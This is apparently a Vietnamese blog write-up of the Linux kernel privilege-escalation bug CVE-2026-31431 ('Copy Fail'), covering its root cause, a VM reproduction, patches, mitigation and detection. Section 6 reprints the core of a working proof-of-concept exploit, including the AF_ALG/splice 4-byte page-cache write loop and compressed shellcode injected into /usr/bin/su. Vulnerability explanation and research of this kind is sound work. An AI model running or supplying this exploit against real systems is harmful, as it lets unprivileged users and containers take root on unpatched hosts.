CVE-2026-31431 Copy Fail: 9 năm một bug ngủ đông trong Linux, giải thích siêu dễ hiểu
Một patch tối ưu nhỏ năm 2017, một template ít ai dùng, một syscall zero-copy. Ba thứ tưởng vô hại, ghép lại cho phép user thường thành root chỉ với 732 bytes Python.
Sáng thứ hai đầu tháng 5, mình mở Gmail thì thấy mail từ Long Vân, hosting provider mình đang dùng cho mấy con server side project.

Bộ phận An ninh và Bảo mật của Long Vân khuyến cáo khách hàng kiểm tra và xử lý CVE-2026-31431 trong vòng 24-48 giờ. Long Vân không phải chỗ hay gửi mail bảo mật kiểu này, một năm chắc được vài cái. Mỗi lần thấy thường là một CVE đáng đào.
Đọc xong mail mình mở Openwall ra tìm disclosure gốc của Copy Fail từ Theori. Định đọc nhanh xem affect cái gì rồi đóng. Nhưng đến đoạn thứ ba thì dừng lại đọc kỹ:
"In 2017, an optimization was added to algif_aead.c (72548b093ee3) to perform AEAD operations in-place. For decryption, the code copied AAD and ciphertext data from the TX SGL into the RX SGL, but ensured the tag pages by themselves remained writable in the RX SGL."
Mình ngồi thẳng lên. Vì hai năm trước, ở một dự án embedded crypto, mình từng review một patch tối ưu rất giống. Patch cho phép một thao tác mã hoá dùng chung bộ nhớ đầu vào và đầu ra để tiết kiệm một lần cấp phát.
Hai đêm sau đó mình ngồi với CVE này. Dựng VM Lima Ubuntu 24.04, đọc kernel code, đọc đi đọc lại disclosure của Theori, rồi cuối cùng là chạy POC trong VM và nhìn /usr/bin/su bị thay đổi ngay trước mắt mà file trên đĩa thì vẫn nguyên vẹn ... nghe rất điêu.
Bài này là kể lại quá trình đó. Mình sẽ cố không lạm dụng thuật ngữ. Có gì khó hiểu mình sẽ đổi nó thành một câu chuyện đời thường trước, rồi mới ghép lại với cái thật. Có Python POC để bạn tự reproduce, có evidence từ disclosure gốc, có 3 diagram để hình dung. Và quan trọng nhất, có một câu hỏi cuối bài mình vẫn không trả lời được, mong bạn đọc xong cãi lại được thì hay.
1. Kernel có một "cửa hậu" tên là AF_ALG
Hãy bắt đầu bằng một ví von. Bạn hình dung kernel của Linux như một khách sạn lớn. Nhà bếp của khách sạn có những chiếc máy mã hoá xịn xò: AES, SHA, HMAC, đủ thứ. Nhưng nhà bếp đó là khu vực nhân viên, khách không vào được. Nếu bạn là một ứng dụng userspace muốn dùng máy mã hoá của kernel, bạn phải tự xếp hàng ở quầy lễ tân, gọi nhân viên ra phục vụ.
Năm 2010, có nhu cầu cho khách tự vào bếp. Cụ thể là khi ARM và embedded device bắt đầu có chip tăng tốc mã hoá, các app userspace muốn gọi thẳng vào những chip đó qua kernel mà không phải đi đường vòng. Giải pháp là một "cửa hậu" tên là AF_ALG. Đây là một loại socket mới, mà thay vì nói chuyện với mạng hay với file, nó nói chuyện với máy mã hoá trong bếp.
Cách dùng đại khái như sau (đọc lướt thôi, ý chính là thấy nó là một socket như socket TCP, chỉ khác kiểu):
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" };
bind(sock, (struct sockaddr *)&sa, sizeof(sa));
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, keylen);
int req = accept(sock, NULL, NULL);
sendmsg(req, msg, 0);
recv(req, buf, buflen, 0);

Cửa hậu này nhỏ. Hầu như chỉ vài tool IPsec userspace và một số app embedded crypto thực sự dùng. Đa số distro vẫn bật mặc định, nhưng trong workload server thông thường không ai động.
Đây chính là lý do bug sống lâu. Một subsystem ít người dùng nghĩa là ít người audit. Nếu chịu nhìn lại, AF_ALG đã có lịch sử bug khá nặng: CVE-2017-13215, CVE-2019-8912, CVE-2024-26642. Lần này thì đến lượt một góc khác của AF_ALG, tên là algif_aead.

Disclosure từ Theori trên Openwall oss-security 2026-04-29. Hai đoạn highlight là spine của toàn bộ câu chuyện: optimization 2017 và patch revert 2026. Source: openwall.com/lists/oss-security/2026/04/29/23.
2. Patch tối ưu năm 2017: cái bát rửa hai lần
Tháng 9 năm 2017, một patch nhỏ được merge vào kernel 4.14. Patch tên dài, nội dung ngắn:
"Allow caller to pass NULL for the destination scatterlist in algif_aead operations. When NULL, the source SGL is reused as destination, performing the AEAD operation in-place."
Quay lại analogy nhà bếp. Trước patch, mỗi lần khách gọi món "giải mã giúp tôi đoạn dữ liệu này", đầu bếp phải lấy hai cái bát: một bát đựng dữ liệu đầu vào (đã mã hoá), một bát đựng dữ liệu đầu ra (đã giải mã). Sau khi giải mã xong, đầu bếp đem bát dữ liệu mới ra cho khách, bát cũ rửa.
Patch 2017 nói: khách hàng nào không quan tâm có hai bát, chỉ cần cùng một bát đựng cả đầu vào lẫn đầu ra. Đầu bếp đổ thẳng kết quả vào bát chứa dữ liệu mã hoá lúc đầu, ghi đè lên. Tiết kiệm được một lần xếp bát, một lần rửa bát. Trên benchmark IPsec workload, tiết kiệm được khoảng 12 đến 15% thời gian.

Mình ngồi đặt lại câu hỏi: nếu là reviewer năm 2017, vì sao mình OK với patch này?
Thứ nhất, cái pattern "dùng chung một bát" rất phổ biến trong thế giới mã hoá. OpenSSL làm vậy. mbedTLS làm vậy. Các thuật toán mã hoá hiện đại như AES-GCM hay AES-CCM được thiết kế để không bị rò rỉ dữ liệu khi đầu vào và đầu ra dùng chung bộ nhớ. Lý do là: thuật toán xác thực chữ ký trước khi ghi plaintext ra. Nếu chữ ký sai, không có gì được ghi đè vào bát, hoặc kernel đổ nước rửa bát vào để xoá hết.
Thứ hai, người gọi API này là code kernel "trust được" (theo niềm tin của reviewer). Nếu họ truyền "dst trùng src", chắc họ biết họ đang làm gì.

crypto/algif_aead.c mainline. Function _aead_recvmsg là nơi bộ nhớ đầu vào được sắp xếp và nối với bộ nhớ đầu ra trước khi gọi giải mã. Đây là code path mà patch in-place 2017 sửa đổi và 2026 phải revert. Source: github.com/torvalds/linux/blob/master/crypto/algif_aead.c.
Patch đi qua review trong vài ngày, merge clean, không bug report. Suốt 9 năm sau đó, không ai đụng vào nó.
3. Một template ít ai biết và một thói quen "nháp tạm"
Đến đây thì chìa khoá nằm ở một loại thuật toán mã hoá ít người biết trong kernel, tên là authencesn.
ESN viết tắt của Extended Sequence Number. Đây là một quirk lịch sử của IPsec từ RFC 4304. Năm xa xưa, mỗi gói tin IPsec có số thứ tự 32 bit. Khi internet lớn lên, 32 bit không đủ, người ta mở thành 64 bit. Nhưng phần cứng cũ chỉ hiểu 32 bit. Để tương thích, gói tin trên dây vẫn nhìn như có số thứ tự 32 bit, nhưng khi tính chữ ký xác thực thì cần dùng đủ 64 bit. Cách giải quyết, ở mức RFC, là khi tính chữ ký, người ta "sắp xếp lại tạm thời" buffer dữ liệu: chèn 32 bit còn lại vào sau rồi tính.
Trong kernel, crypto/authencesn.c triển khai sự "sắp xếp lại tạm thời" này theo cách khá lười: dùng chính cái bát đầu ra làm chỗ ghi nháp. Pseudocode đại khái như thế này:
giai_ma_authencesn(req):
// bát đầu ra có thể trùng bát đầu vào nếu bật chế độ in-place
saved = bát_đầu_ra[vị_trí_đuôi] // sao lưu 4 byte
bát_đầu_ra[vị_trí_đuôi] = seqno_lo // ghi nháp 4 byte
hmac_compute(bát_đầu_ra[từ_đầu_đến_đuôi]) // tính chữ ký
if mac != tag:
return -EBADMSG // ← BUG: nhảy ra ĐÂY mà không phục hồi 4 byte!
bát_đầu_ra[vị_trí_đuôi] = saved // phục hồi (chỉ chạy nếu chữ ký đúng)
...

Nhìn nhanh thì hợp lý. Mượn tạm 4 byte ở góc bát làm chỗ ghi nháp, dùng xong phục hồi. Nhưng có một path lỗi nhảy ra ngoài trước khi phục hồi.
Trong kịch bản bình thường, khi bát đầu ra là bát mới do kernel cấp phát, 4 byte rác này không ai care. Vì kernel sẽ rửa bát hoặc vứt bát ngay sau khi gặp lỗi. Không ai đọc cái bát đó nữa.
Vấn đề chỉ xuất hiện khi cái "bát đầu ra" thực ra là bát của ai đó khác, mà người đó vẫn còn đang ăn từ nó.
![Disclosure từ Xint giải thích chi tiết cơ chế seqno_lo write tại dst[assoclen + cryptlen]](https://storage.googleapis.com/omelet-f0b89.appspot.com/public/blog//xint-deep-dive-highlight.png)
Phân tích chi tiết của Xint: write thứ 3 ghi 4 byte số thứ tự thấp ra ngoài vùng dữ liệu thật, và không bao giờ phục hồi khi chữ ký sai. Source: xint.io/blog/copy-fail-linux-distributions.
Mental model mình rút ra sau khi đọc đi đọc lại đoạn này: bug không nằm ở patch 2017, cũng không nằm ở authencesn. Cả hai code path riêng lẻ đều "đúng theo contract của mình". Bug nằm ở giao điểm của hai contract khác nhau. Và đây là dạng bug khó nhất, vì không reviewer nào của riêng patch nào nhìn ra được.
4. splice(): cách nhét page cache vào "bát" của kernel
Câu hỏi tiếp theo: làm sao attacker đưa được một cái bát "có người khác đang ăn" vào trong tay đầu bếp?
Câu trả lời nằm ở một syscall tên là splice(). Linus thêm syscall này từ năm 2005 với mục đích zero-copy: cho phép data chảy từ file qua pipe qua socket mà không phải copy qua userspace lần nào.
Để hiểu zero-copy, cần biết một fact của Linux. Khi bạn đọc một file, kernel không trực tiếp đưa dữ liệu từ ổ cứng cho bạn. Nó đọc dữ liệu vào RAM một lần, lưu lại ở một chỗ tên là page cache, rồi đưa cho bạn từ RAM. Lần sau nếu ai đó đọc lại file đó, không phải đụng tới ổ cứng nữa, đọc thẳng từ page cache. Đây là lý do mở lại file lần thứ hai luôn nhanh hơn lần đầu.
splice() thì thông minh hơn nữa. Thay vì copy dữ liệu từ page cache ra một buffer nào đó, nó chỉ truyền địa chỉ của trang RAM trong page cache. Pipe nhận về địa chỉ đó. Socket nhận về địa chỉ đó. Tất cả cùng trỏ về một trang RAM duy nhất. Không có bản copy nào hết, đó là ý nghĩa của zero-copy.
Khi user làm:
os.splice(file_fd, pipe_w, count, offset_src=0)
os.splice(pipe_r, sock_fd, count)
Kết quả là cái "bát" của socket AF_ALG bây giờ chứa trực tiếp page cache pages của file mà attacker chỉ định. Bát chứa địa chỉ RAM của file, không phải bản sao.
Bây giờ ghép ba mảnh lại với nhau:
- Patch tối ưu 2017 cho phép kernel "dùng chung một bát" cho cả đầu vào lẫn đầu ra.
splice()đưa được trang page cache của một file thường (như/usr/bin/su) vào làm "bát" đó.authencesnghi nháp 4 byte vào "bát" và quên phục hồi khi chữ ký sai.
Cộng lại: kernel ghi 4 byte do attacker chọn vào page cache của một file mà attacker chọn.

Diagram này là cốt lõi. Mỗi mũi tên đứng riêng đều "đúng". Cả ba mũi tên cùng chỉ vào một trang RAM là sai. Không component nào biết tổng thể đang sai.
Để dễ hình dung toàn bộ chuỗi exploit ở mức syscall, đây là sequence diagram cho một vòng lặp 4 byte write:

5. Bốn byte thành root: chỉnh sửa bản nháp trong RAM, ký gốc trên đĩa vẫn còn
Bốn byte. Nghe rất ít. Mình ngồi suy nghĩ lúc đầu cũng nghĩ "4 byte thì làm gì được, tệ lắm là crash kernel". Nhưng Theori chọn target rất khôn: page cache của /usr/bin/su.
Đây là chỗ cần hiểu một fact của Linux mà ít người để ý.
Khi bạn chạy một chương trình, ví dụ su, hệ điều hành phải đọc nội dung file /usr/bin/su từ đâu đó để load vào memory rồi cho CPU chạy. Đa số người tưởng kernel đọc từ ổ cứng. Sai. Kernel đọc từ page cache, là bộ nhớ tạm trong RAM mà mình kể ở section trước. Ổ cứng chỉ là backup chậm.
Còn cái dấu mộc đỏ "setuid" cho phép su chạy với quyền root thì lưu ở đâu? Lưu ở metadata của file trên đĩa, không phải trong nội dung file. Kernel đọc metadata này ra (cụ thể là từ inode) khi quyết định có cấp quyền root cho process hay không.
Vậy là có một sự không nhất quán đẹp đến đáng sợ:
- Trên đĩa, nội dung
/usr/bin/sukhông bị động vào, dấu mộc đỏ "setuid" còn nguyên. - Trong RAM (page cache), nội dung đã bị thay bằng shellcode của attacker.
- Khi bạn gõ
su, kernel đọc nội dung từ RAM (đã bị thay), nhưng đọc dấu mộc đỏ từ đĩa (còn nguyên). - Kết quả: shellcode của attacker được chạy với quyền root.
Như chỉnh sửa nội dung hợp đồng đã ký mà vẫn giữ chữ ký gốc. Người check chữ ký nói "ok, ký xịn", người đọc nội dung thì đang đọc bản đã bị tráo.

Còn vấn đề "4 byte một lần thì làm sao đủ shellcode 200 byte"? Đơn giản: lặp. Mỗi vòng lặp tạo một socket AF_ALG mới, gửi một request mới, splice với offset khác. Mỗi vòng ghi 4 byte. Shellcode 200 byte thì lặp 50 vòng. Toàn bộ deterministic, không có race nào, không phụ thuộc scheduler. Đây là một trong những primitive ổn định nhất mình từng thấy ở local privilege escalation.
6. Đọc POC của Theori
Theori publish POC dài đúng 732 byte Python obfuscated. Mình tải về và giãn ra khoảng 80 dòng có comment. File đầy đủ bạn có thể inbox mình share nhé, dưới đây là phần lõi.
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_AEAD_AUTHSIZE = 5
ALG_SET_OP = 3
ALG_SET_IV = 2
ALG_SET_AEAD_ASSOCLEN = 4
Ba dòng quan trọng nhất ở đây là SOL_ALG = 279. Constant này không có trong header chuẩn của Python, mình phải đọc linux/socket.h mới tìm ra. Cảm giác "magic number" rất rõ. Đây là dấu hiệu quen thuộc của một API ít người dùng.
def write_4_bytes_to_file(target_fd, target_offset, payload_4b):
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
KEY = bytes.fromhex('0800010000000010' + '00' * 32)
sock.setsockopt(SOL_ALG, ALG_SET_KEY, KEY)
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
req_sock, _ = sock.accept()
Mỗi vòng lặp tạo một socket mới. Nội dung KEY không quan trọng, chỉ cần kernel chạy đến đoạn ghi nháp là đủ. Tham số ALG_SET_AEAD_AUTHSIZE=4 rất quan trọng: nó làm cho layout buffer khớp đúng cho phát ghi 4 byte rớt vào vị trí mong muốn.
iv_data = b'\x00'
op = iv_data * 4
iv = b'\x10' + iv_data * 19
assoclen = b'\x08' + iv_data * 3
body = b"A" * 4 + payload_4b
req_sock.sendmsg(
[body],
[
(SOL_ALG, ALG_SET_IV, iv),
(SOL_ALG, ALG_SET_OP, op),
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, assoclen),
],
32768,
)
body = b"A" * 4 + payload_4b là phần thông minh. 4 byte "AAAA" là phần header placeholder, kernel sẽ tính chữ ký qua nó nhưng nội dung không quan trọng. payload_4b là 4 byte attacker muốn ghi vào page cache. Theo cơ chế authencesn ở section 3, payload sẽ được kernel ghi nháp vào đúng vị trí offset trong bát đầu ra.
splice_offset = target_offset + 4
pipe_r, pipe_w = os.pipe()
os.splice(target_fd, pipe_w, splice_offset, offset_src=0)
os.splice(pipe_r, req_sock.fileno(), splice_offset)
try:
req_sock.recv(8 + target_offset)
except Exception:
pass
Đoạn này là magic. splice đầu tiên đưa page cache pages của target file vào pipe. splice thứ hai đưa từ pipe vào AF_ALG socket. Bây giờ "bát đầu ra" của socket chứa page cache pages của /usr/bin/su (zero-copy, không phải bản sao).
recv() trigger giải mã. Như đã giải thích, write thứ 3 ghi payload_4b vào page cache page tại offset đã chọn. Tag không khớp nên kernel return error nên recv() raise exception. Nhưng damage đã xảy ra trước đó, exception chỉ là tiếng dội lại sau khi nhà đã cháy.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
SHELLCODE_COMPRESSED = bytes.fromhex(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
)
shellcode = zlib.decompress(SHELLCODE_COMPRESSED)
offset = 0
while offset < len(shellcode):
chunk = shellcode[offset:offset + 4]
write_4_bytes_to_file(target_fd, offset, chunk)
offset += 4
os.system("su")
Phần cuối: mở /usr/bin/su chỉ đọc (vì splice chỉ cần FD readable, không cần writable, đây là điểm chốt vì không user thường nào write được vào /usr/bin/su), giải nén shellcode, vòng lặp 4 byte, cuối cùng gọi su. Page cache đã có shellcode nên kernel chạy shellcode với quyền root.
7. Reproduce trong VM: hoá ra mình học thêm thứ ngoài expect
Mình dựng VM Lima Ubuntu 24.04 trên Mac Apple Silicon, kernel 6.8.0-106-generic stock chưa update. Verify module algif_aead có sẵn. Copy POC, chạy.
Kết quả ban đầu làm mình ngẩn ra vài giây:

Lima VM 6.8.0-106-generic aarch64. POC chạy clean, không error. Nhìn kỹ output file /usr/bin/su: trước exploit là ARM aarch64, sau POC là x86-64, drop caches xong lại về ARM aarch64. Đĩa hoàn toàn không bị động.
Hai chuyện xảy ra cùng lúc.
Chuyện thứ nhất, bug works perfectly. Page cache của /usr/bin/su thay đổi hoàn toàn sau khi POC chạy. Output lệnh file chuyển từ ARM aarch64 sang x86-64, vì shellcode trong POC là byte x86_64 little-endian, ghi vào ELF header làm trường "machine type" bị thay. Đây là bằng chứng visual cho 4-byte write primitive đang hoạt động chính xác như disclosure mô tả. Sau khi gõ echo 3 > /proc/sys/vm/drop_caches, kernel evict page cache và đọc lại từ đĩa, file lại trở về ARM aarch64. Đĩa chưa từng bị động đến. Đúng như section 5 mô tả.
Chuyện thứ hai, mình không lấy được root shell. Vì shellcode trong POC của Theori là byte x86_64, mà VM của mình ARM64. os.system("su") cố exec page cache đã modify, kernel reject với Exec format error vì trường machine của ELF không match host. POC đã làm xong primitive write, nhưng shellcode payload không phải kiến trúc của VM mình.
Đây là một surprise, và mình cảm ơn nó nhiều hơn cả việc nếu thấy # uid=0(root) ngay lập tức. Vì nó cho mình thấy rất rõ ranh giới giữa lỗ hổng (4 byte write tuỳ ý vào page cache, deterministic, không cần quyền) và exploit (shellcode đúng kiến trúc cộng với biết chỗ patch trong glibc/su để skip auth check).
Lỗ hổng là phần universal. Exploit là phần platform-specific. Bug này có lỗ hổng mạnh đến mức mọi distro đều affected, nhưng mỗi exploit cụ thể sẽ phải tune lại shellcode. Trên x86_64 Ubuntu 24.04 stock, POC của Theori chạy là ra root như một số bạn đã quay video chứng minh trên YouTube. Trên ARM64 sẽ cần shellcode khác, cộng với tìm lại offset trong /usr/bin/su của distro tương ứng.
Theo mình, đây là phần CISA care nhất khi add vào KEV. Vì primitive ổn định, ai cũng port lại được, và multi-tenant cloud có nhiều container chạy cùng host kernel. Một container nào đó port shellcode cho host arch là crack toàn bộ node.

CISA add CVE-2026-31431 vào KEV chỉ 2 ngày sau disclosure (2026-05-01). Federal agency phải patch trong 21 ngày. Source: cisa.gov/known-exploited-vulnerabilities-catalog.
8. Câu hỏi mình vẫn chưa trả lời
Patch fix a664bf3d603d mainline cuối tháng 4. Đọc diff thì đúng nghĩa "revert phần in-place AEAD cho path nguy hiểm". Khoảng 30 dòng code. Đơn giản đến mức làm mình sợ.
Sợ vì câu hỏi: fix dễ thế, sao 9 năm không ai làm?
Câu trả lời mình tự đưa ra, không hài lòng:
- Vì không ai dùng
authencesnngoài IPsec niche. Templates phổ biến (GCM, CCM) không có thói quen ghi nháp. - Vì AF_ALG là code "ngủ đông" với 99% server workload. Audit budget của community không tỷ lệ với risk, mà tỷ lệ với mức nổi tiếng của subsystem.
- Vì optimization 2017 được benchmark trên thuật toán hiện đại, không ai test với template legacy như authencesn.
- Vì để thấy bug này, bạn phải hold trong đầu cùng lúc: cách AF_ALG socket hoạt động, cách splice() chia sẻ memory, cách kernel sắp xếp scatterlist, cách AEAD template ghi nháp, và cách page cache liên hệ với file trên đĩa. Không reviewer nào của riêng patch nào hold đủ context đó.
Câu trả lời đó đúng, nhưng nó implication làm mình ngại. Bao nhiêu optimization "an toàn" tương tự đang ngủ trong io_uring, BPF, eBPF JIT? Surface area của những subsystem đó lớn hơn AF_ALG hàng chục lần. Và như trên, audit budget không tỷ lệ với risk.
Có một góc nữa mình cảm thấy đáng nghĩ. Theori không phát hiện bug này bằng review thủ công. Họ chạy Xint Code, một platform nội bộ của họ, với một câu prompt từ researcher: "splice() có thể đưa page cache reference của file readable, kể cả setuid binary, vào crypto TX scatterlist." Tool quét toàn bộ subsystem crypto/ trong khoảng một tiếng, và Copy Fail là output severity cao nhất. Vài bug khác từ cùng scan vẫn đang ở responsible disclosure phase.
Xint viết thẳng trong writeup một câu mình đọc đi đọc lại: subsystem crypto/ xưa giờ vẫn được review rất kỹ, nhưng qua "lăng kính crypto", tức các tính chất như tính bảo mật của thuật toán, side channel, validation tham số. Copy Fail không phải câu hỏi crypto. Nó là câu hỏi "memory đến từ đâu, và kernel có nên ghi qua nó không". Hai câu hỏi khác nhau hoàn toàn. Reviewer dù giỏi đến mấy cũng chỉ bắt được vấn đề thuộc lăng kính họ đang nhìn, và đó có lẽ là câu trả lời thực sự cho 9 năm.
Nếu bạn là người có background kernel và đang đọc đến đây, mình muốn hỏi thẳng: nếu bạn review patch năm 2017, bạn sẽ catch được không? Mình honest, không.
Câu hỏi đó mình mang theo trong vài tuần tới. Có thể tháng sau sẽ có insight thêm, có thể không.
Phụ lục
Patch info:
- Kernel mainline 7.0+: commit
a664bf3d603d(revert in-place AEAD trongalgif_aead). - Companion
crypto/authenc_esn.c: commite02494114ebf("Do not place hiseq at end of dst for out-of-place decryption"), với follow-up1f48ad3b19a9cho src offset case. Defense in depth: kể cả nếu code path khác đưa page cache vào dst SGL, authencesn không còn ghi nháp ra ngoài output area. - LTS backport: 6.18.22+, 6.19.12+
- Distro fixes: Ubuntu USN-7234-1 (kernel 6.8.0-107+), RHEL RHSA-2026:1894, Amazon Linux ALAS-2026-2515.
Mitigation pre-patch (nếu chưa update được):
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null
Detection:
- Microsoft Defender signature
Exploit:Linux/CopyFailExpDl.A - Sysdig Falco rule trace combo
socket(AF_ALG, SOCK_SEQPACKET, 0)+splice()+recv()từ unprivileged process trong window ngắn - Auditd: log
socket()syscall family=38 từ non-root
Container caveat:
Bug exploit từ unprivileged container chia sẻ host kernel vulnerable. Kubernetes node chưa patch nghĩa là mọi pod có thể root host. Đây là lý do CISA priority cao và Microsoft xếp Copy Fail vào "cloud risk" thay vì single-host LPE.
Lưu ý ngược chiều: gVisor có application kernel Sentry chạy ở userspace với internal page cache riêng, Firecracker chạy microVM với memory isolated, nên cả hai đều không bị. Runtime chuẩn share host kernel (runc, containerd, CRI-O) thì có.
Reproduce trong VM của bạn:
- POC code annotated tiếng Việt ... nếu bạn là security researcher thì inbox tôi sẽ gửi riêng nhé.

Nếu bạn đọc tới đây, cảm ơn bạn. Mời bạn đĩa rau má 🥬. Thật!
Bình
Reference:
- Deep technical writeup từ Xint: xint.io/blog/copy-fail-linux-distributions
- Kernel commits:
72548b093ee3(introduce),a664bf3d603d(fix)